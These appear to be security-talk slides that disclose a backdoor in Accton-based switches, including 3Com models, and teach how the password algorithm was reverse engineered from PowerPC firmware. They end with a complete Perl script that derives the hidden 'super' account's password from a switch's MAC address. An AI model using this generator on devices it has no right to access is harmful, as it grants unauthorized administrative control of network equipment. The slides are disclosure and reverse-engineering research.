

# Disclosure of a backdoor in Accton based switches (3com and others)

How to reverse engineer backdoor algorithms hidden in firmware.

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# Reverse engineering backdoors

- Step 1: How we aquired the target
- Step 2: Getting the 'source'
- Step 3: Orientation
- Step 4: Finding the algorithm
- Step 5: Implementing a proof of concept
- Step 6: Reversing the algorithm
- Results and conclusion

# Step 1: How we aquired the target

- Erik just wanted to run Linux on his switch:  
3com 3870 and ES4549.
- He found a '\_\_super' string
- Called a dealer and used some social engineering...

# Step 1: How we aquired the target

- The dealer only needed the mac adress to generate a backdoor-password.
- So: the firmware probably has the **password algorithm!**
- We never reverse engineerd switch-firmware before, so lets just try it...

## Step 2: Getting the 'source'

- Download the original firmware: BLANC\_Multiple\_V3.1.1.56.zip
- Inspect the BLANC\_Multiple\_V3.1.1.56.BIX file using brute force:

```
psy@psy ~/hack $ for i in `seq 1 65536`; do dd  
if=BLANC_Multiple_V3.1.1.56.BIX of=bla bs=$i  
skip=1 2>/dev/null; ( echo -n $i:; file bla) |  
grep -v ': data' ; done
```

```
6:bla: binary Computer Graphics Metafile
```

```
....
```

```
69:bla: unicos (cray) executable
```

```
74:bla: VAX-order2 68k Blit mpx/mux executable
```

```
75:bla: VAX-order 68K Blit (standalone)  
executable
```

```
80:bla: gzip compressed data, was "blanc.bin",  
from FAT filesystem (MS-DOS, OS/2, NT), last  
modified: Thu May 12 00:04:48 2005
```

- Actual firmware is gzipped at offset 80?

# Step 3: Orientation

- Fiddle around with Interactive Disassembler (IDA pro):  
RAM,  
load offset 0x10000 (got it from the VxWorks docs),  
64MB memory (0x4000000) (got it from the device datasheet),  
PPC architecture.  
Force everything from 0x10000 to 0xa00000 to 'code'
- **movie load2.avi**

# Step 3: Orientation

- Learn PPC assembly with Google ;)
- Huh?? PPC has no build-in stack handling? (like x86)
- A subroutine has to...
  - ..create its own stackframe
  - ..store all registers that its gonna change on that stack
  - ..store the return address of the caller on that stack
  - ..do its stuff
  - ..restore everything
- Hmm...PPC has more registers:
  - `%r1` used as dedicated stack pointer (shown in `%sp` in disassembler)
  - `%r3` used as first subroutine parameters AND for return values.
  - `%r0..%r31` are used for all kinds of stuff.





# Step 4: Finding the algorithm

What are we looking for?

- The username is    super.
- The password is 8 characters and can contain '!'
- The password is calculated by the firmware
- The password is based on the 6 byte long mac address

# Step 4: Finding the algorithm

- Find the function(s) that use the `__super` string: `search1.avi`
- Look around and figure out obvious function calls: `prints1.avi` and `prints2.avi`
- Use the graphview to get a better view of the local code path: `graph1.avi`
- We see there is one very interesting function on the code path: `boringandcalc1.avi`
- After some more hours (`inspectcaller1.avi`).....time for more coffee...

# Step 4: Finding the algorithm

## Attempt 2:

- Stay up all night, drinking coffee, and keep searching
- There is a second \_\_super string! **searchb1.avi**
- Inspect the crossreferences to all the calls. **inspectcallsb.avi**
- The first call looks most promising, lets look at it. **passgen.avi**
- It does a lot of calculations, and only calls one subroutine..i wonder that does..**getdeviceinfo.avi**.
- Analysing the exact behaviour of passgen. **passgenanalyse.avi**  
(remember: 8 bytes password, 6 byte mac, can contain '!' chars )

# Step 5: Implementing proof of concept

Erik first translated the disassembly verbatim into perl:

```
macaddress is in 0x10(%r31) ... 0x15(%r31)
RAM:004DFE38 loopbody1:
RAM:004DFE38          lbz      %r9, 0x18(%r31) # load counter in r9
RAM:004DFE3C loc_4DFE3C:
RAM:004DFE3C          clrldwi %r0, %r9, 24 # counter in r0
RAM:004DFE40          addi   %r11, %r31, 8 # r11=stack+8
RAM:004DFE44          add    %r9, %r11, %r0 # r9=stack+8+counter
RAM:004DFE48          lbz   %r11, 8(%r9) # r11 = mem[stack+8+counter+8]
RAM:004DFE4C          clrldwi %r0, %r11, 24 # so r0 is current mac-byte:
RAM:004DFE4C          # $char = unpack("C", $mac[$counter]);
RAM:004DFE50          lbz   %r11, 0x18(%r31) #
RAM:004DFE54          clrldwi %r9, %r11, 24 # r9=counter
RAM:004DFE58          addi   %r11, %r31, 8 # r11=stack+8
RAM:004DFE5C          add    %r9, %r11, %r9 # r9=stack+8+counter
RAM:004DFE60          lbz   %r11, 9(%r9) # r11=mem[stack+8+counter+9]
RAM:004DFE64          clrldwi %r9, %r11, 24 # so r9 is next mac-byte..
RAM:004DFE68          add    %r0, %r0, %r9 # ..and both mac-bytes are added:
RAM:004DFE6C          # $char = $char + unpack("C", $mac[$counter+1]);
RAM:004DFE70          lis   %r11, 0x1B4E # 0x1B4E81B5
RAM:004DFE70          ori   %r11, %r11, -0x7E4B # 0x1B4E81B5 ...hmm some kind of key:
RAM:004DFE74          # $key = 0x1B4E81B5;
RAM:004DFE74          mulhw %r9, %r0, %r11
RAM:004DFE78          srawi %r11, %r9, 3 # $r11 = ($char * $key) >> 0x23; (srawi is weird)
RAM:004DFE7C          srawi %r10, %r0, 0x1F # $r10 = $char >> 0x1F;
RAM:004DFE80          subf  %r9, %r10, %r11 # $r9 = $r11 - $r10; (subf=reversed!)
RAM:004DFE84          mr    %r10, %r9
RAM:004DFE88          slwi  %r11, %r10, 2 # $r11 = $r9 << 2;
RAM:004DFE8C          add   %r11, %r11, %r9 # $r11 = $r11 + $r9;
RAM:004DFE90          slwi  %r9, %r11, 4 # $9 = $11 << 4;
RAM:004DFE94          subf  %r9, %r11, %r9 # $r9 = $r9 - $r11;
RAM:004DFE98          subf  %r0, %r9, %r0 # $char = $char - $r9;
RAM:004DFE9C          stw  %r0, 0x1C(%r31) # addchar($char);
RAM:004DFEA0          lwz  %r0, 0x1C(%r31)
RAM:004DFEA4          cmplwi cr1, %r0, 9
```



# Step 6: Reversing the algorithm

The password generator worked! (even on another switch)

First we substitute the *magic* routine...

```
$key = 0x1B4E81B5;
$r11 = ($char * $key) >> 0x23;      # same as: /34359738368
$r10 = $char >> 0x1F;              # same as: /2147483648
$r9 = $r11 - $r10;
$r11 = $r9 << 2;                   # same as: * 4
$r11 = $r11 + $r9;
$r9 = $r11 << 4;                   # same as: * 16
$r9 = $r9 - $r11;
$char = $char - $r9;
```

...so we get a nice *mathematical* calculation:

```
$char = $char - ( ( ( ( ($char * $key) /
34359738368) - ($char / 2147483648) ) * 4 ) +
( ( ($char * $key) / 34359738368) - ($char /
2147483648) ) ) * 15) ;
```

# Step 6: Reversing the algorithm

Clean it up a bit:

```
$char = $char - (  
  (  
    ( ( ( ( ( ($char * $key) / 34359738368) - 4*($char / 2147483648)  
    ) )  
  ) )  
  +  
  (  
    ( ($char * $key) / 34359738368) - ($char / 2147483648)  
  )  
) * 15  
);
```

# Step 6: Reversing the algorithm

We know that  $\$char \leq 510$ , so some terms are always 0...

```
$char = $char - (  
  (  
    ( ( (4* ($char * $key / 34359738368) ) )  
    ) )  
  +  
  (  
    (($char * $key) / 34359738368)  
  )  
) * 15
```

```
$char = $char - (75* ($char * $key / 34359738368) ) ;
```

**A division is a shift:**

```
$char = $char - (75* ($char * $key >> 35) ) ;
```

# Step 6: Reversing the algorithm

Lets just print out all the inputs to see whats going on:

```
for ($char=0;$char<=0x1FE;$char++) {  
    $output = $char - (75 * (($char * 0x1B4E81B5 ) >> 35) ) ;  
    print "$char = $output\n"  
}
```

This just shows us 0...74 over and over again!

So the “magic part” is just:

```
$char = $char % 75 ;
```

This has probably to do with PPC not having a modulo function. :)



# The final result:

```
#!/usr/bin/perl -w
use strict;

my $mac = $ARGV[0];
my @mac;

# put mac address bytes into @mac array
foreach my $octet (split (":", $mac)) {
    push @mac, hex($octet);
}

# the first 5 password characters
for ($counter=0;$counter<5;$counter++) {
    $char = $mac[$counter];
    $char = $char + $mac[$counter+1];
    printchar($char);
}

# the second 3 password characters
for ($counter=0;$counter<3;$counter++) {
    $char = $mac[$counter];
    $char = $char + $mac[$counter+1];
    # just add 0xF so its not TOO obvious ;)
    $char = $char + 0xF;
    printchar($char);
}
```

# The final result:

```
sub printchar {
    my ($char) = @_ ;

    # the 'magic' part:
    $char = $char % 75 ;

    # some boring if's to make the resulting character human-readable..
    if ($char <= 9 || ($char > 0x10 && $char < 0x2a) || $char > 0x30) {
        print pack("c*", $char+0x30);
    } else {
        print "!";
    }
}
```

## Demonstration:

```
psy@psy ~ $ ./accton2.pl 11:22:33:44:55:66
MfBq!!uQ
```

# Conslusions

This is probably what happend:

- The fixed \_\_super password leaked to the internet...
- Boss complains...its friday afternoon...engineer yawns...
- "lets just calculate the pass from the mac and go home"
  
- The ... with ARM architecture is probably the same.  
(except for endiannes)
  
- It still doesnt run Linux, for now ;)
  
- We tried contacting 3com and accton, to no avail.

# More information

- Eriks research: <http://stuff.zoiah.net/doku.php?id=accton:start>
- This presentation: tba
- Edwins and erwins company: <http://www.syn-3.eu>
- Eriks company: <http://www.zylon.net/>

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Powerpc reference:

<http://pds.twi.tudelft.nl/vakken/in1200/labcourse/instruction-set/>